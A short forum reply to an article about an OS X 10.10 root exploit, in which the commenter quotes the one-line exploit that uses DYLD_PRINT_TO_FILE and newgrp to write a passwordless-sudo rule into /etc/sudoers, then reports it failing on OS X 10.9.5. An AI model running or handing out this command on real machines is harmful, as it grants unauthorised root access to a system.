Reply to post: OSX 10.9.5 not vulnerable

Get root on an OS X 10.10 Mac: The exploit is so trivial it fits in a tweet

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OSX 10.9.5 not vulnerable

$ echo 'echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp

bash: line 1: 3: Bad file descriptor

(and /etc/sudoers is unchanged)

Feeling happy I didn't drink the Yosemite Koolaid just yet.

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